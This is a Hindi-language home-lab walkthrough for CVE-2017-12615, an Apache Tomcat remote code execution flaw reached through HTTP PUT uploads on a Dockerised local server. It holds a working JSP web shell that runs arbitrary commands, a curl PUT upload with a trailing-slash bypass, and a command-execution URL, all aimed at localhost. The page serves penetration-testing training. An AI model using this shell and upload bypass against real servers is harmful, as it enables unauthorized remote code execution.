
CVE-2017-12615 Tomcat: JSP अपलोड के माध्यम से रिमोट कोड निष्पादन - रेड टीमिंग और पेनिट्रेशन टेस्टिंग के लिए होम लैब
यह लैब CVE-2017-12615 Tomcat: JSP अपलोड के माध्यम से रिमोट कोड निष्पादन कमज़ोरी का अनुकरण करता है।
यह readonly=false सेटिंग के कारण उत्पन्न होता है, जिससे HTTP PUT के माध्यम से फ़ाइलें अपलोड की जा सकती हैं, जिसमें .jsp फ़ाइलें भी शामिल हैं जो कमांड निष्पादित कर सकती हैं (RCE)।
readonly=false के साथ ओवरराइड किया गया.jsp फ़ाइलें अपलोड करने के लिए PUT अपलोड का उपयोग किया जा सकता हैflag_RANDOM.txt बनाता है/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
वेब खोलें:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ आवश्यक है)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
इसमें रखा गया है:
/tmp/flag_RANDOM.txt
यह लैब CVE-2017-12615 Tomcat: JSP अपलोड के माध्यम से रिमोट कोड निष्पादन का अनुकरण करता है, जहाँ Apache Tomcat का DefaultServlet निम्नलिखित के साथ गलत कॉन्फ़िगर किया गया है:
readonly=false
यह हमलावरों को HTTP PUT के माध्यम से .jsp फ़ाइलें अपलोड करने की अनुमति देता है, जिससे रिमोट कोड निष्पादन संभव होता है।

readonly=false के साथ DefaultServlet ओवरराइड.jsp फ़ाइलें लिखनाflag_RANDOM.txt जनरेट होता हैcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
केवल शैक्षिक, अनुसंधान और अधिकृत पैठ परीक्षण के लिए।